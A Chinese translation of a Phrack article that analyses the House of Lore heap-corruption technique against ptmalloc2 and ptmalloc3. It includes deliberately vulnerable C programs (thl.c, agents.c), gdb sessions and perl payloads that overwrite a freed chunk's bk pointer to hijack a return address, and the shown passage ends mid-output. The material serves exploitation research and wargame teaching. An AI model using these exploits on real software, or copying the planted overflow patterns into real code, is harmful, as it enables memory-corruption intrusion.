翻译:#Phrack67# The House Of Lore: Reloaded ptmalloc v2 & v3: Analysis & Corruption
作者:blackngel
译者:Sakura小樱
--[ 目录
1 – 前言
2 – 简介
2.1 - KiddieDbg Ptmalloc2
2.2 – SmallBin攻击
2.2.1 – 触发漏洞(The HoL(e))
2.2.2 – 更加迷离扑朔的例子
3 - LargeBin 攻击方法
4 – 分析 Ptmalloc3
4.1 - SmallBin 攻击(逆向方法)
4.2 - LargeBin 方法 (TreeBin 攻击)
4.3 –执行安全检验
4.3.1 – 安全堆分配器(乌托邦派)
4.3.2 – dnmalloc
4.3.3 - OpenBSD malloc
5 - Miscellany, ASLR 及其他
6 – 总结
7 – 鸣谢
8 – 参考文献
9 – 野战游戏代码
--[ 目录结束 .-----------.
---[ 1 ---[ 前言 ]---
.-----------.
没有冒犯之意,可以说世上的黑客(至少)分为两种:
1.花大量时间在现代软件中找漏洞的著名人物。
2.花大量时间exploit仍未存在的代码/环境漏洞。
也许,这个让你有些困惑,不过确实也是一个很早存在的问题:先有鸡还是先有蛋?..哪个先,bug还是exploit?
跟堆溢出发生不一样,我们说这是在栈溢出中的一个符合逻辑的进程,但The House of Lore技术似乎常常发生些令人匪夷所思的事情,我们知道它就在那里(我们心中的刺),有事情发生了,某地方出错了,我们可以exploit它。
但是我们不知道怎样去做。这就是关于这点的所有东西,我们知道技巧(最起码知道Phantasmal Phantasmagoria的解释),但是有人见过可以直接去exploit代码漏洞的例子吗?
或许有人在想:好吧,如果这个bug存在,但也只是个很普通的堆溢出..
1. 什么情况下创造新技术?
2. 为什么对于malloc()和free()一个特殊序列的调用可以允许特殊的exploit技术,而为什么其他的序列需要其他的技术才可以呢?
3. 那些特殊序列的名称是什么?这些序列是一个bug还是单纯是靠运气?
这些问题值得思考下。如果Phantasmal给他的理论留下了论证,我们肯定会忘了他,但是他没有。我们当中一些人花整天时间去研究创造代码去验证2005年在一篇广为人知的杰出文章中发表的技术理论。
说到"Malloc Maleficarum" [1],一个我有机会在"Malloc Des-Maleficarum" 这篇文章中[2]通过实践去论证的伟大理论。然而不幸的是,我落下了一个还没解决的问题。之前我还不能非常准确地去解释Phantasmal说过的“The House of Lore”技术,但是突然灵感一现,好像我找到解决方法了。
现在我详细讲下一个代码漏洞是如何被The House of Lore(在下文统一简称为THoL)攻击的,也因此完成了出于某些原因未完成的阶段。
另外,我们不仅会重点讲到我们听过的smallbin损坏方法(smallbin corruption method),还会介绍下largebin方法的复杂性以及我们怎样去解决它们。同时,我也提出了基于这些技术上我找到的用来损坏Ptmalloc3结构的两个变量(variants)。
除此之外,本文还提供了更多其他的内容,例如使用提到的技术之一即可exploit的小程序,这在exploiting-wargame当中非常实用。
以及…是的,THoL着实是我心中的一根刺。 << 人可以抵抗军队的入侵,
然而不能抵抗思想的入侵>>
[ Victor Hugo ] .----------------.
---[ 2 ---[ 简介 ]---
.----------------.
接着,在开始实际例子之前,我们再次介绍THoL的技术背景。或许有人会把Phantasmal的理论当做下文讲解的重要依据,但下面我们将提供一个更宽广更深入的方法进入话题,同时也将提供一些你如何从在执行时间中的Ptmalloc2中获得信息的小方法,这方法不需要通过修改或者重新编译你个人的GlibC。
我们提到动态挂钩(dynamic hook)对这目标来说是较好的方法。控制越多,可见性越高。 << 伟大的思想常常会受到
平庸者的强烈反对. >>
[ 爱因斯坦 ] .-----------------------.
---[ 2.1 ---[ KiddieDbg Ptmalloc2 ]---
.-----------------------.
为了让读者更好地理解,我们会执行所有随后的测试,让我们指出你在每个攻击中使用PTMALLOC2去获取必要信息的简单方法。
为了避免有人在“malloc.c”中做小改动的同时,又要重新编译GLIBC的沉闷任务,我们决定直接从以下网址中下载ptmalloc2的来源:http://www.malloc.de/malloc/ptmalloc2-current.tar.gz.
接着我们在Linux 发布版Kubuntu 9.10中编译(输入一个make不需要花很多的力气),当然你也可以把它当做一个静态程序库,直接链接到我们的每一个例子,像这样:
gcc prog.c libmalloc.a -o prog
但是,在编译这个程序库之前,我们要先享受一下把一对调试程序引进库里面。为了达到这点,我们用了一个不是对于每个人都可行的函数,(one has to be very eleet to
know it and only those who have been able to escape to Matrix have the
right to use it)
。这个致命武器是专家们所称的"printf( )"。
好的,玩笑开够了。现在讲通过小改动"malloc.c"去获取在执行当中的Ptmalloc2的信息的方法。
----- snip -----
Void_t*
_int_malloc(mstate av, size_t bytes)
{
....
checked_request2size(bytes, nb);
if ((unsigned long)(nb) <= (unsigned long)(av->max_fast)) {
...
}
if (in_smallbin_range(nb)) {
idx = smallbin_index(nb);
bin = bin_at(av,idx);
if ( (victim = last(bin)) != bin) {
printf("\n[PTMALLOC2] -> (Smallbin code reached)");
printf("\n[PTMALLOC2] -> (victim = [ %p ])", victim);
if (victim == 0) /* initialization check */
malloc_consolidate(av);
else {
bck = victim->bk;
printf("\n[PTMALLOC2] -> (victim->bk = [ %p ])\n", bck);
set_inuse_bit_at_offset(victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb);
return chunk2mem(victim);
}
}
}
(代码要用TAB键进行对齐)
----- snip -----
在这里我们知道一个内存块(chunk)(译者注:不管内存是在哪里被分配的,用什么方法分配,用户请求分配的内存空间在ptmalloc中都使用一个chunk来表示,下文统一称为内存块)在什么时候从它对应的链表中被提取去满足所需的内存分配。另外,如果内存块的“bk”指针的指针值被改过,那我们就可以控制它。
----- snip -----
use_top:
victim = av->top;
size = chunksize(victim);
if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) {
........
printf("\n[PTMALLOC2] -> (Chunk from TOP)");
return chunk2mem(victim);
}
----- snip ----- 在这里你只是给出了当请求的内存分配从Wildrness内存块(av->top)中提取时所需要注意的一个警告。
----- snip -----
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
printf("\n[PTMALLOC2] -> (Freed and unsorted chunk [ %p ])", p);
----- snip -----
前面两个变动是在"_int_malloc( )"函数中引进的,而后者是在"_int_free( )"中引进的,并且清楚地表明了一个内存块是在什么时候被释放(freed)和unsorted bin中,以便于进一步利用它
<<我从没见过这么无知的人,
从他那里我学不到任何的东西。>>
[ Galileo Galilei ] .-----------------------.
---[ 2.2 ---[ SmallBin 损坏方法 ]---
.-----------------------.
这块代码将会触发在本文中提到的易损性(vulnerability)。在开始它之前,我们再来一次吧:
----- snip -----
if (in_smallbin_range(nb)) {
idx = smallbin_index(nb);
bin = bin_at(av,idx);
if ( (victim = last(bin)) != bin) {
if (victim == 0) /* initialization check */
malloc_consolidate(av);
else {
bck = victim->bk;
set_inuse_bit_at_offset(victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb);
return chunk2mem(victim);
}
----- snip -----
为了进入"_int_malloc( )"里面的代码区域,我们假设了内存请求的大小(size)是最大的,就是"av->max_fast"的当前值,从而通过第一次检查,并避免利用fastbin[ ]。记住这个默认值是"72"。
这步完成之后,接着是"in_smallbin_range(nb)"函数了,它依次检查请求的内存块是否小于MIN_LARGE_SIZE,在malloc.c中明确是512字节(512 bytes)。 我们可以从文件编制中知道:“小于512字节的链表(bin)总是包含相同大小的内存块”。从这里我们知道:如果一个特定大小的内存块被引进它相应的链表中,那么当它与用户所请求的内存大小一样时,它将被返还。"smallbin_index(nb)" 和"bin_at(av, idx)" 函数负责寻找与用户所需的内存一样大小的内存块所在的链表。
同时,我们还知道一个“链表(bin)”由指针"fd" 和 "bk"构成,指针的目的是结束空闲的内存块的双向链表。宏"last(bin)"用于返还“bk”指针的“假内存块”(fake chunk),也用于指出在bin中的最后一个可行内存块(如果还有内存块)。如果没有,指针"bin->bk"将指向自己,那它将会检索失败,并且会从smallbin代码中离出。
如果有可行的符合大小的内存块,这个过程就简单多了。在返回到调用程序之前,它必须从链表中解开,为了这一步,分配内存(malloc)将使用以下指令:
1) bck = victim->bk; // bck指向倒数第二个块
2) bin->bk = bck; // bck 成为最后一个快
3) bck->fd = bin; //上一个新内存块(new chunk)的fd指针指向bin并再次结束链表。 如果全部都是正确的,宏 "chunk2mem(victim)."将给予用户victim内存块的mem指针变量(pointer *mem of victim)。
在这个进程中的额外的任务是设置连续内存块(contiguous chunk)的PREV_INUSE二进制码(bit)。如果victim内存块默认不在主分配区当中,则需要管理NON_MAIN_ARENA二进制代码。
这就是游戏开始的地方了。
在这整个进程中,可以控制的值明显就只有"victim->bk"。但为了完成它,得必须满足一个必要条件:
1 - 两个内存块之前被分配过,后面的内存块已被释放,前面的那块存在溢出。
如果这条件成立,第一个内存块的溢出将允许操纵第二个已被释放的内存块的字节头(chunk header),特别是“bk”指针,因为在此时其他的实例数据(field)都是无趣的。要记住这个溢出必须在第二个内存块块被释放后发生,我坚持强调这点是因为我们不想提前触发"_int_free()"的警报。
像之前提到的,如果操纵的第二个内存块被引进它相应的链表(bin)中,并且大小满足了内存分配的请求,smallbin代码将被触发(triggered),接着就出现我们感兴趣的代码了。
“bck”指向已被改变的victim 内存块的“bk”指针,因此会成为"bin->bk = bck"中的最后一块。接着随后的调用函数malloc()将从我们之前改动“bk”指针的内存中释放一个内存块。如果这在栈中(in stack),我们已经知道发生什么了。
在这次攻击中,我们必须要小心的是"bck->fd = bin"语句,因为这代码尝试写bin的地址给指针“fd”,从而结束链表,这个内存区一定是已经写好许可权限的。
最后一件关键的事情是:
当一个内存块被释放时,它将被插到“unsorted bin”
中。这时一个特殊的链表,同时也是一个双向链表,特性是根据它的大小,里面的块没有排序(很明显)。这个链表像个栈,内存块被释放时就会插在这里,并且将一直插在第一个位置上。
这步的目的是:如果在unsorted bin的内存块大小符合内存分配请求,则随后调用的"malloc( ),calloc( ) or realloc( )"就可以直接从这里提取内存块。这样做是为了提高内存分配过程的效率,因为不需要执行排序算法,就可以立即再次使用unsorted bin中的内存块。
这一步是怎样完成的呢?
所有的都在"_int_malloc( )"的下一循环中开始:
while ( (victim = unsorted_chunks(av)->bk) != unsorted_chunks(av))
接着取出序列中的倒数第二个内存块:
bck = victim->bk
检查下内存请求是否在"in_smallbin_range( )"之内,以及victim内存块是否满足请求。否则,继续从unsorted bin中移除victim内存块。方法如下:
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
跟所说的一样:bin指向倒数第二个内存块,及倒数第二个内存块指向成为序列中最新的内存块的bin。
一旦从序列中移除,将有可能发生两件事。1.被移除的内存块大小符合内存分配请求的大小(size == nb),那么它将再次从内存中返还给用户。2.被移除的内存块大小恰好不符合内存分配请求的大小,那么我们将接着继续引进适当的bin中的内存块,方法如下:
bck = bin_at(av, victim_index);
fwd = bck->fd;
.....
.....
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim; 我们为什么要提到这个?好吧,我们所提到的情况需要以下条件:被释放和被操纵的内存块将被引进合适的链表(bin)中,就像Phantasmal说的,此时改变一个unsorted chunk是无趣的。
考虑到这一点,我们的漏洞程序应该在容易攻破的复制功能和后续调用的malloc()中间调用malloc()。这个后续调用的malloc()要求与最近释放的内存块一样的空间,而这个中间调用的malloc()应该要求比被释放的内存块大的空间,从而使unsorted list中的内存块不能满足分配需求,分配需求也将接着指示内存块到它们各自的bin中去。
在完成这章节之前,我们注意到了现实生活中的应用程序的bin可能会包含一些同样大小的备用的内存块。当一个从unsorted bin出来的内存块被作为序列中的第一位插进适当的bin中时,根据我们的理论,我们改变过的内存块得等到它占有序列中的最后一个位置(last(bin))时才能被使用。要让改过的内存块被使用,我们必须多重调用malloc()分配与此内存块同样大小的内存空间,从而使我们的内存块达到在这循环链表中的期望位置。因此,“bk”指针必须被攻破。
主要经历以下阶段,以图形方式表示:
阶段1:在smallbin[ ]中插入victim内存块。
bin->bk ___ bin->fwd
o--------[bin]----------o
! ^ ^ !
[last]-------| |-------[victim]
^| l->fwd v->bk ^|
|! |!
[....] [....]
\\ //
[....] [....]
^ |____________^ |
|________________| 阶段2:"n"次调用malloc( )获取同样大小的内存空间。
bin->bk ___ bin->fwd
o--------[bin]----------o
! ^ ^ !
[victim]------| |--------[first]
^| v->fwd f->bk ^|
|! |!
[....] [....]
\\ //
[....] [....]
^ |____________^ |
|________________| 阶段3:改写victim的"bk"指针。
bin->bk ___ bin->fwd
o--------[bin]----------o
& stack ! ^ ^ !
^--------[victim]------| |--------[first]
v->bk ^ v->fwd f->bk ^|
| |!
[....] [....]
\\ //
[....] [....]
^ |____________^ |
|________________| 阶段4:最后一次调用malloc( )获取同样大小的内存空间。
bin->bk ___ bin->fwd
o--------[bin]----------o
& -w- perm ! ^ ^ !
^--------[&stack]------| |--------[first]
v->bk ^ v->fwd f->bk ^|
| |!
[....] [....]
\\ //
[....] [....]
^ |____________^ |
|________________| 这是"*mem"指针返回指向栈的时候,因此完全控制被攻击的系统。但是有人想眼见为实,好吧,那接着看下一章节。
注意:我还没检查glibc的所有版本,当我写这篇文章的时候部分版本已有变化。例如,在Ubuntu box中(with glibc 2.11.1) 我们将看到以下修改: ----- snip -----
bck = victim->bk;
if (__builtin_expect (bck->fd != victim, 0))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset(victim, nb);
bin->bk = bck;
bck->fd = bin;
----- snip -----
如果你控制了栈的某个区域,以及你可以写个整数型,使它的值等于最近被释放的内存块(victim)的地址,那么这个检查也是可以克服的。但是这些必须要在下次调用malloc( )分配内存前实施。
<<一切科学的伟大宗旨是在从少量的假设或公理的基础上,
通过逻辑推理去涵盖大量的经验事实>>
[ 爱因斯坦] .-------------------------.
---[ 2.2.1 ---[ 触发漏洞(The HoL(e)) ]---
.-------------------------.
在理论之后..接下来是应用于这技术上的实例,以下为详细说明:
---[ thl.c ]---
#include <stdio.h>
#include <string.h>
void evil_func(void)
{
printf("\nThis is an evil function. You become a cool \
hacker if you are able to execute it.\n");
}
void func1(void)
{
char *lb1, *lb2;
lb1 = (char *) malloc(128);
printf("LB1 -> [ %p ]", lb1);
lb2 = (char *) malloc(128);
printf("\nLB2 -> [ %p ]", lb2);
strcpy(lb1, "Which is your favourite hobby? ");
printf("\n%s", lb1);
fgets(lb2, 128, stdin);
}
int main(int argc, char *argv[])
{
char *buff1, *buff2, *buff3;
malloc(4056);
buff1 = (char *) malloc(16);
printf("\nBuff1 -> [ %p ]", buff1);
buff2 = (char *) malloc(128);
printf("\nBuff2 -> [ %p ]", buff2);
buff3 = (char *) malloc(256);
printf("\nBuff3 -> [ %p ]\n", buff3);
free(buff2);
printf("\nBuff4 -> [ %p ]\n", malloc(1423));
strcpy(buff1, argv[1]);
func1();
return 0;
}
---[ end thl.c ]--- 这个程序很简单,我们使得"buff1"缓冲区溢出,及我们想运行的"evil_func( )"函数永远不会被调用。
简而言之,我们已经准备好了一切触发THoL所具备的条件:
1) 执行malloc(4056)的第一次调用,这不应该是必要的,但我们需要这步给系统热热身。并且在现实的应用程序中,堆很有可能不会从一开始就运行。
2) 我们分别分配16, 128 和256 字节的三个内存块,因为之前没有内存块在这之前被释放过,我们知道他们必须从Wilderness 或者Top Chunk中获取。
3) Free()第二个128字节的内存块。这个内存块被放在unsorted bin中。
4)分配第四个内存块,这个内存块大于多数最近释放的(freed)的内存块。"buff2"现在从unsorted链表中提取,并加入到它合适的bin中。
5)我们有个容易攻破的函数strcpy( ),可以用来改写之前传给free( )函数的内存块的字节头(包括了它的”bk”数据实例)
6)我们调用func1( ),func1( )分配了两个128字节的内存块(跟之前被释放的内存块大小一样)去制定问题并反馈用户响应。
似乎第6)点是无懈可击的,但是我们都知道如果"LB2"指向栈,那么我们或许可以改写保存的返还地址。这就是我们的目标,并且我们将会看到胜利的曙光。
一个基本的执行方案是这样的:
black@odisea:~/ptmalloc2$ ./thl AAAA
[PTMALLOC2] -> (Chunk from TOP)
Buff1 -> [ 0x804ffe8 ]
[PTMALLOC2] -> (Chunk from TOP)
Buff2 -> [ 0x8050000 ]
[PTMALLOC2] -> (Chunk from TOP)
Buff3 -> [ 0x8050088 ]
[PTMALLOC2] -> (Freed and unsorted chunk [ 0x804fff8 ])
[PTMALLOC2] -> (Chunk from TOP)
Buff4 -> [ 0x8050190 ]
[PTMALLOC2] -> (Smallbin code reached)
[PTMALLOC2] -> (victim = [ 0x804fff8 ])
[PTMALLOC2] -> (victim->bk = [ 0x804e188 ])
LB1 -> [ 0x8050000 ]
[PTMALLOC2] -> (Chunk from TOP)
LB2 -> [ 0x8050728 ]
Which is your favourite hobby? hack
black@odisea:~/ptmalloc2$
我们可以看到前面3个malloced分配的内存块是从TOP 链表(bin)中来的,接着第二个内存块chunk (0x0804fff8)被传到free()并安排在unsorted bin中,这内存块将一直放在这里,直到下一次调用malloc()去判断它是否符合分配请求。
因为第一个分配的缓冲区buffer比近期释放的空间都要大,它再次从TOP中被取出,同时buff2从unsorted bin中取出并插进与它大小(128)相应的bin中去。
在我们看到下一个malloc(128) (lb1)是如何被调用去触发smallbin代码返回到缓冲区之前被释放的地址中。你可以看到"victim->bk"的值,这个值是在这个地址被传给宏chunk2mem( )之后,从(lb2)中 获得的。
但是,我们可以在输出中看到:lb2是从TOP (bin)中获得,而不是smallbin。为什么?很简单,我们刚刚才释放掉一个内存块(在它对应的bin中只有一块同样大小的内存块),并且因为我们还没改变被释放的内存块的”bk”指针,下一个内存块:
if ( (victim = last(bin)) != bin)
跟以下是一样的:
if ( (victim = (bin->bk = oldvictim->bk)) != bin)
可以说在bin中的最后一块指向bin本身,所以要分配的内存必须从其他地方提取。
直到这里完成了,接着,我们需要什么去exploit程序呢?
1)用新地址改写buff2->bk,这个地址接近于栈中的某个保存的返回地址(在func1( )创建的架构当中)
2)这个地址,反过来必须要落在一个地方,使得内存块的”bk”指针成为拥有对文件有写操作的权限的地址。
3)我们想使用evil_func()的地址去改写EIP及必要的填充,从而获得返还的地址(return address)。
让我们从基础开始:
如果我们在func1( )中设置中断点,并检测内存,我们将得到:
(gdb) x/16x $ebp-32
0xbffff338: 0x00000000 0x00000000 0xbffff388 0x00743fc0
0xbffff348: 0x00251340 0x00182a20 0x00000000 0x00000000
0xbffff358: 0xbffff388 0x08048d1e 0x0804ffe8 0xbffff5d7
0xbffff368: 0x0804c0b0 0xbffff388 0x0013f345 0x08050088
(这里要注意:要按原文格式输出)
EBP -> 0xbffff358
RET -> 0xbffff35C 但是在这里重要的事情是我们必须转换buff2->bk为"0xbffff33c"的值,因而让新的victim->bk获取一个可写的地址。
Items 1 和 2通过了。这个evil_func()的地址是:
(gdb) disass evil_func
Dump掉evil_func 函数中的汇编码:
0x08048ba4 <evil_func+0>: push %ebp 现在,事不宜迟,让我们看下合并这些所有的攻击基础后将发生什么事情:
black@odisea:~/ptmalloc2$ perl -e 'print "BBBBBBBB". "\xa4\x8b\x04\x08"' >
evil.in
...
(gdb) run `perl -e 'print "A"x28 . "\x3c\xf3\xff\xbf"'` < evil.in
[PTMALLOC2] -> (Chunk from TOP)
Buff1 -> [ 0x804ffe8 ]
[PTMALLOC2] -> (Chunk from TOP)
Buff2 -> [ 0x8050000 ]
[PTMALLOC2] -> (Chunk from TOP)
Buff3 -> [ 0x8050088 ]
[PTMALLOC2] -> (Freed and unsorted chunk [ 0x804fff8 ])
[PTMALLOC2] -> (Chunk from TOP)
Buff4 -> [ 0x8050190 ]
[PTMALLOC2] -> (Smallbin code reached)
[PTMALLOC2] -> (victim = [ 0x804fff8 ])
[PTMALLOC2] -> (victim->bk = [ 0xbffff33c ]) // 攻击的第一个阶段
LB1 -> [ 0x8050000 ]
[PTMALLOC2] -> (Smallbin code reached)
[PTMALLOC2] -> (victim = [ 0xbffff33c ]) // Victim在栈当中
[PTMALLOC2] -> (victim->bk = [ 0xbffff378 ]) // 拥有写操作权限的地址
LB2 -> [ 0xbffff344 ] // Boom!
Which is your favourite hobby?
This is an evil function. You become a cool hacker if you are able to
execute it.
(程序输出)
// 我们获得一个很酷的消息.
程序收到信号SIGSEGV,记忆段错误。
0x08048bb7 in evil_func ()
(gdb) 你必须要开始明白我在前言中想解释的是什么,不是发现或者创造出一个新的技术,我们做了这么久是为了在这个几年前降落人间的技术基础上,设计出一个漏洞程序。
在普通的GLIBC中编译这个实例,你也会得到同样的结果,只要记得调整evil_func()地址或者存有你自定义的任意代码的区域。
<<浑浑噩噩的生活不值得过. >>
[ 苏格拉底 ] .----------------------------.
---[ 2.2.2 ---[ 更加迷离扑朔的例子 ]---
.----------------------------.
为了明白THoL是怎样运用到现实生活的程序中的,我下面给出我自己创立的源代码,好像游戏一样,这将给攻击带来更宽的视野。
这是对代理经理的一个粗糙的模仿。这个程序唯一能做的事情是创建新的代理人(agent),编辑它(例如编辑他们的名字和描述)或者删除它。为了节省空间,一个人只能编辑代理人的某个特定字段,让其他字段空闲着并不占空间,或者在不需要字段的时候释放freed它。
另外,为了避免本文中不必要的拓展,所有输入进这个程序的信息将不存在任何的数据库当中,只在程序执行的时候保留它的可行性。
---[ agents.c ]---
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void main_menu(void);
void create_agent(void);
void select_agent(void);
void edit_agent(void);
void delete_agent(void);
void edit_name(void);
void edit_lastname(void);
void edit_desc(void);
void delete_name(void);
void delete_lastname(void);
void delete_desc(void);
void show_data_agent(void);
typedef struct agent {
int id;
char *name;
char *lastname;
char *desc;
} agent_t;
agent_t *agents[256];
int agent_count = 0;
int sel_ag = 0;
int main(int argc, char *argv[])
{
main_menu();
}
void main_menu(void)
{
int op = 0;
char opt[2];
printf("\n\t\t\t\t[1] Create new agent");
printf("\n\t\t\t\t[2] Select Agent");
printf("\n\t\t\t\t[3] Show Data Agent");
printf("\n\t\t\t\t[4] Edit agent");
printf("\n\t\t\t\t[0] <- EXIT");
printf("\n\t\t\t\tSelect your option:");
fgets(opt, 3, stdin);
op = atoi(opt);
switch (op) {
case 1:
create_agent();
break;
case 2:
select_agent();
break;
case 3:
show_data_agent();
break;
case 4:
edit_agent();
break;
case 0:
exit(0);
default:
break;
}
main_menu();
}
void create_agent(void)
{
agents[agent_count] = (agent_t *) malloc(sizeof(agent_t));
sel_ag = agent_count;
agents[agent_count]->id = agent_count;
agents[agent_count]->name = NULL;
agents[agent_count]->lastname = NULL;
agents[agent_count]->desc = NULL;
printf("\nAgent %d created, now you can edit it", sel_ag);
agent_count += 1;
}
void select_agent(void)
{
char ag_num[2];
int num;
printf("\nWrite agent number: ");
fgets(ag_num, 3, stdin);
num = atoi(ag_num);
if ( num >= agent_count ) {
printf("\nOnly %d available agents, select another", agent_count);
} else {
sel_ag = num;
printf("\n[+] Agent %d selected.", sel_ag);
}
}
void show_data_agent(void)
{
printf("\nAgent [%d]", agents[sel_ag]->id);
printf("\nName: ");
if(agents[sel_ag]->name != NULL)
printf("%s", agents[sel_ag]->name);
printf("\nLastname: ");
if(agents[sel_ag]->lastname != NULL)
printf("%s", agents[sel_ag]->lastname);
printf("\nDescription: ");
if(agents[sel_ag]->desc != NULL)
printf("%s", agents[sel_ag]->desc);
}
void edit_agent(void)
{
int op = 0;
char opt[2];
printf("\n\t\t\t\t[1] Edit name");
printf("\n\t\t\t\t[2] Edit lastname");
printf("\n\t\t\t\t[3] Edit description");
printf("\n\t\t\t\t[4] Delete name");
printf("\n\t\t\t\t[5] Delete lastname");
printf("\n\t\t\t\t[6] Delete description");
printf("\n\t\t\t\t[7] Delete agent");
printf("\n\t\t\t\t[0] <- MAIN MENU");
printf("\n\t\t\t\tSelect Agent Option: ");
fgets(opt, 3, stdin);
op = atoi(opt);
switch (op) {
case 1:
edit_name();
break;
case 2:
edit_lastname();
break;
case 3:
edit_desc();
break;
case 4:
delete_name();
break;
case 5:
delete_lastname();
break;
case 6:
delete_desc();
break;
case 7:
delete_agent();
break;
case 0:
main_menu();
default:
break;
}
edit_agent();
}
void edit_name(void)
{
if(agents[sel_ag]->name == NULL) {
agents[sel_ag]->name = (char *) malloc(32);
printf("\n[!!!]malloc(ed) name [ %p ]", agents[sel_ag]->name);
}
printf("\nWrite name for this agent: ");
fgets(agents[sel_ag]->name, 322, stdin);
}
void delete_name(void)
{
if(agents[sel_ag]->name != NULL) {
free(agents[sel_ag]->name);
agents[sel_ag]->name = NULL;
}
}
void edit_lastname(void)
{
if(agents[sel_ag]->lastname == NULL) {
agents[sel_ag]->lastname = (char *) malloc(128);
printf("\n[!!!]malloc(ed) lastname [ %p ]",agents[sel_ag]->lastname);
}
printf("\nWrite lastname for this agent: ");
fgets(agents[sel_ag]->lastname, 127, stdin);
}
void delete_lastname(void)
{
if(agents[sel_ag]->lastname != NULL) {
free(agents[sel_ag]->lastname);
agents[sel_ag]->lastname = NULL;
}
}
void edit_desc(void)
{
if(agents[sel_ag]->desc == NULL) {
agents[sel_ag]->desc = (char *) malloc(256);
printf("\n[!!!]malloc(ed) desc [ %p ]", agents[sel_ag]->desc);
}
printf("\nWrite description for this agent: ");
fgets(agents[sel_ag]->desc, 255, stdin);
}
void delete_desc(void)
{
if(agents[sel_ag]->desc != NULL) {
free(agents[sel_ag]->desc);
agents[sel_ag]->desc = NULL;
}
}
void delete_agent(void)
{
if (agents[sel_ag] != NULL) {
free(agents[sel_ag]);
agents[sel_ag] = NULL;
printf("\n[+] Agent %d deleted\n", sel_ag);
if (sel_ag == 0) {
agent_count = 0;
printf("\n[!] Empty list, please create new agents\n");
} else {
sel_ag -= 1;
agent_count -= 1;
printf("[+] Current agent selection: %d\n", sel_ag);
}
} else {
printf("\n[!] No agents to delete\n");
}
}
---[ end agents.c ]--- 这是一个完美的程序,我愿意在野战游戏中介绍给那些想应用本文提到的技术的朋友。
有人或许会觉得这个程序容易受Malloc Des-Maleficarum中描述的其他技巧攻击。其实考虑到管理内存空间的用户的能力,或许这里可以用上The House of Mind(思维之屋),但我们必须明白这个程序限制我们创建256个"agent_t"的类型结构,及这些结构的大小约为432字节(大约是你分配的所有字段)。如果我们用这个数乘以256,我们得到:(110592 = 0x1B000h),这个看上去真的太小了,以至于不能让我们获得所期望的地址"0x08100000",这个地址对于损坏在它之上的已经被分配的内存块的NON_MAIN_ARENA bit比特是很重要的(损坏比特创建出一个假分配区用来触发前面提及的攻击)。
另外一个可行的技巧是The House of Force(暴力之屋),因为它一开始就容易损坏Wilderness bin(the Top Chunk bin),但是记住使用这个方法的要求之一是malloc()调用的内存大小一定要被设计者规定为被损坏的"av->top"的值。这个在这里似乎是不可行的。
其他技巧也是出于某些原因而不可行,每一个都是因为它们的本质的要求。所以我们必须学习整理它们触发攻击进程的步骤顺序,这是我们到现在一直在学习的。
让我们仔细看下:
在一次快速游览之后,我们发现唯一一个容易攻破的函数是:
void edit_name(void) {
...
agents[sel_ag]->name = (char *) malloc(32);
...
fgets(agents[sel_ag]->name, 322, stdin); 一开始这看上去是排序错误,但是它能让我们override在"agents[]->name"之后分配的内存块,任何一个内存块都可以,因为实际上程序允许对内存的完全控制。
为了最大限度地模仿好上章节讲过的漏洞进程,我们一开始可以做的事情是创建creat一个新的代理人agent(0),及编辑它的所有字段。在这里我们可得到:
malloc(sizeof(agent_t)); // 新的代理人 agent
malloc(32); // agents[0]->name
malloc(128); // agents[0]->lastname
malloc(256); // agents[0]->desc 主要的目的是去override"agents[]->lastname"字段中的”bk”指针(如果我们之前有释放过这个内存块)。另外,在这两个步骤之间,我们需要从“Top代码”中分配一个内存块,因此在unsorted bin中的内存块可以归类到它们对应的bin中便于再次使用。
因此,我们接下来需要做的是创建一个新的代理人new agent(1),选择第一个代理人agent(0)并删掉它的“lastname”字段,选择第二个agent(1)并编辑它的描述。相当于:
malloc(sizeof(agent_t)); // Get a chunk from TOP code
free(agents[0]->lastname); // Insert chunk at unsorted bin
malloc(256); // Get a chunk from TOP code 在这最后一次调用malloc( )后,被释放的128字节的内存块(lastname)将被放置在它对应的bin中。现在我们就可以更改这个内存块的”bk”指针了,为此我们再次选择第一个agent(0)并编辑它的name(在这里不再调用malloc()因为它之前已经被分配过了)
在这时候,我们可以放一个恰当的内存地址指向栈,并两次调用malloc(128),第一次编辑第二个agent(1)的"lastname"字段,接着再次编辑agent(0)的"lastname"字段。
最后的操作应该返回一个内存指针给栈,栈中的地址由你决定。任何在"agents[0]->lastname"中的内容都可以损坏一个保存的返还地址。
先不想继续挖下去的事情,我们在这里展示下一个小小的exploit是如何改变上面的"bk"指针及返回栈中的内存块:
---[ exthl.pl ]---
#!/usr/bin/perl
print "1\n" . # Create agents[0]
"4\n" . # Edit agents[0]
"1\nblack\n" . # Edit name agents[0]
"2\nngel\n" . # Edit lastname agents[0]
"3\nsuperagent\n" . # Edit description agents[0]
"0\n1\n" . # Create agents[1]
"2\n0\n" . # Select agents[0]
"4\n5\n" . # Delete lastname agents[0]
"0\n2\n1\n" . # Select agents[1]
"4\n" . # Edit agents[1]
"3\nsupersuper\n" . # Edit description agents[1]
"0\n2\n0\n" . # Select agents[0]
"4\n" . # Edit agents[0]
"1\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .
"\x94\xee\xff\xbf" . # Edit name[0] and overwrite "lastname->bk"
"\n0\n2\n1\n" . # Select agents[1]
"4\n" . # Edit agents[1]
"2\nother\n" . # Edit lastname agents[1]
"0\n2\n0\n" . # Select agents[0]
"4\n" . # Edit agents[0]
"2\nBBBBBBBBBBBBBBBBBBBBB" .
"BBBBBBBBBBBBBBBBBBBBBBBBBBBB\n"; # Edit lastname agents[0]
# and overwrite a {RET}
---[ end exthl.pl ]--- 下面是结果,我只把我们感兴趣的output放上来:
black@odisea:~/ptmalloc2$ ./exthl | ./agents
.....
[PTMALLOC2] -> (Smallbin code reached)
[PTMALLOC2] -> (victim = [ 0x8 ]) // Create new agents[0]
Agent 0 created, now you can edit it
.....
